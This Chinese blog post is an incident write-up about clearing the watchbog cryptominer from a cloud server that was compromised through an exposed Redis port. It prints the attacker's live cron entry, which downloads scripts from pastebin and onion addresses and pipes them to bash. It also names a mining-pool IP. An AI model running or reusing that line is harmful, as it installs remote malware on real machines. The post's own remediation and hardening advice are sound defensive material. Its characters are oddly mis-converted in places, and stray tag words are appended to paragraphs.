服務器被入侵了怎麼辦?

上個月末,我也嘗試到了服務器被病毒入侵的滋味,正好這個月末來複盤一下。python

怎麼說呢,那個感受就像是你本身的娃在外面被揍了同樣,你得想辦法爲孩子出人頭地呀,是吧。因而這一波病毒反擊戰就正式上演了。vim

一出好戲

先說一下我是怎麼發現服務器被入侵的。那是在一個愉快的下班時間,個人手機端又提示收到了阿里雲的警告。由於以前我用物聯網卡的緣故,而個人物聯網卡歸屬地是在重慶,因此老是會致使阿里雲警告個人服務器異地登陸的狀況出現。而這一次,看到警告信息和往常有點不同,我就有點奇怪。但苦於我那會還不像如今這樣能夠每天拿着個人MBP回家,能夠及時操做(雖然說手機端也有鏈接命令行的工具,可是屏幕過小了),加上以前總是收到異地登陸的警告,覺得此次也不會出什麼大事,因此我也就沒繼續在乎。segmentfault

使人恐懼的事發生在次日上午我來上班的時候。我照常打開終端工具,熟練地連上阿里雲服務器,發現這一次比日常要慢不少,由於昨天報警的事,我一度擔憂登不上去。不過還好,過了一會,總算登陸上去了,這讓我緩了一口氣。可是噩耗再度傳來,我發現不管我輸入什麼命令,終端上回顯的速度都奇慢,我完全慌了!通常出現這種問題,要不就是網絡問題;要不就是CPU滿了,致使服務器處理不過來。因而我使用top命令查看到底有什麼進程在佔用CPU,果真看到一個叫作watchbog(它居然想假裝成watchdog)的進程佔用了99.3%的CPU!瀏覽器

我想這種病毒應該有人遇到過吧,因此我先谷歌了一下watchbog究竟是什麼病毒,找找解決方案。網上說這是一種挖礦病毒,就是利用服務器的CPU資源瘋狂挖礦的病毒,基本上感染了這種病毒的服務器就會變成肉雞,形成其餘服務不可用。安全

一開始我還天真的覺得只要把這個進程給kill掉就萬事大吉了,因而參考網上的教程,使用killall watchbog命令殺掉病毒,後面證實我仍是太年輕。在殺掉病毒的一開始幾十秒鐘使用top命令查看,看似一切正常、歲月靜好。實則暗流涌動、暗度陳倉,不一下子,top命令查看到的CPU又飆到了99%,進程仍是那個watchbog進程,果真你大爺仍是你大爺,該認孫子的時候仍是得認。bash

我就在想啊,這是怎麼一回事嘛,怎麼殺掉又起來了?正好我前不久學了一點Linux定時任務的知識,想着黑客是否是在個人系統裏建立了什麼定時任務,就是每過一段時間就啓動一個進程,無論我怎麼kill進程,它也總仍是會從新復活。因而我使用crontab -l命令查看服務器是否存在某種定時任務,果真,這一次又被我猜中了,下面是黑客寫的定時任務:服務器

*/9 * * * * (curl -fsSL https://pastebin.com/raw/J6NdVBHq||wget -q -O- https://pastebin.com/raw/J6NdVBHq||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/Rs78euic").read()'||curl -fsSL https://pastebin.com/raw/uw00pm39||wget -q -O - https://pastebin.com/raw/uw00pm39||curl -fsSLk https://aziplcr72qjhzvin.onion.to/old.txt||wget -q -O - https://aziplcr72qjhzvin.onion.to/old.txt --no-check-certificate)|bash

嘿嘿,總算抓到你的馬尾了吧,我隨手一個crontab -r,小兔崽子你就命歸西天吧!使用crontab -l發現確實沒有了定時任務,也再次使用killall watchbog把進程殺掉。心想,這回看你還怎麼復活。正當我暗暗自喜的時候,忽然發現敲命令回顯的速度又慢了下來,按了幾回向上的方向鍵回到剛剛不久輸入的crontab -l,發現它又回來了,這像個魔鬼的東西它又回來了!個人天啦,難道是我刪除定時任務的方式不對?因而我又上網查了一下crontab的具體使用方式,在搜索的過程當中,發現了這麼一條有趣的知識:網絡

「在Linux下的crontab會自動幫咱們每分鐘從新讀取一次/etc/crontab的例行工做事項。」這看起來好像是Linux幫咱們作了好事,可是若是被不懷好意的人利用起來,它就成爲了一件壞事。黑客也許就是利用了crontab的這個特性,使得我使用crontab -r刪掉定時任務也沒用。因而根據這條線索,我使用vim打開/etc/crontab(在命令模式輸入set nu! 顯示行數),看到了黑客的血腥和暴力:ssh

黑客居然在這裏寫了一千多個定時任務,不管你手速多麼快,就算你有單身30年的手速,你也無力迴天!因此到此爲止,個人孩子,哦不,個人服務器真的沒救了嗎?功夫不負有心人,只要你看看那個定時任務的具體代碼,就會發現一些端倪。下面是/bin/httpntp/裏面的內容:curl

你會發現和以前crontab設置的定時任務有點相像,就是這個請求地址pastebin.comaziplcr72qjhzvin.onion.to是同樣的。因此咱們利用不少年以前黑客經常使用的污染hosts文件的方式,也把這個地址污染一下,「以其人之道,還治其人之身」,這是我對黑客的基本尊敬。在/etc/hosts文件中增長最後一行:

這樣就算它再請求,映射的也是本地地址,切斷了它和外界的聯繫,就算它喊破喉嚨也無濟於事,嘿嘿,就等着被我蹂躪吧。而後,我把上述刪除定時任務和殺掉進程的命令重複執行了一遍。終於,服務器再也不哭泣,一切都天朗氣清、雲淡風輕!

如此,服務器回到了正常的運行狀態,可是我也沒有就此罷休,畢竟還沒弄清楚這背後是誰在指使着一切,個人服務器又是怎麼被攻破的?畢竟我好久以前也是作了必定的防禦措施的——禁用默認22端口登陸。

追根溯源

咱們先來看看這個https://pastebin.com/J6NdVBHq 是何方神聖:

pastebin

很遺憾,這裏已經被黑客刪除了。我也嘗試用了一下這個網站,這實際上是一個能夠保存腳本的網站,也就是說這就是黑客下載腳本的地方。

再就是https://aziplcr72qjhzvin.onio...

onion

看來這是一個要洋蔥瀏覽器才能訪問的網站,也就是暗網。

還有網友說watchbog進程也一直在和http://139.99.120.73/這個地址...,我訪問了一下:

礦池

這其實就是一個礦池,因此這個watchbog確實是一個挖礦程序。

咱們再來回過頭來看看阿里雲前一天給我報的警:

第一個報警的居然是由於Redis,這也就是文章一開始說到的異常提醒。後來我網上查了查,也確實是Redis的漏洞致使,因此趕忙把阿里雲的安全組規則中的6379端口給刪除了。可是奇怪的是,阿里雲在下班那會給我報了一次警以後就沒有消息了,我是登陸阿里雲控制面板纔看到這麼多警告的。但願阿里雲的產品經理能夠改進一下這個提醒機制,在服務器報了這麼多警告的狀況下,至少得提醒用戶三遍吧。固然,主要緣由仍是在本身,常在河邊走哪有不溼鞋,下面總結經驗教訓。

經驗教訓

一、警戒把一些經常使用軟件的默認端口暴露出去,最好更改默認端口;

二、關閉雲服務器的默認ssh端口22,更改成一個只有本身知道的端口;

三、最好使用證書登陸,取消密碼登陸。

本文由博客一文多發平臺 OpenWrite 發佈!
相關文章
相關標籤/搜索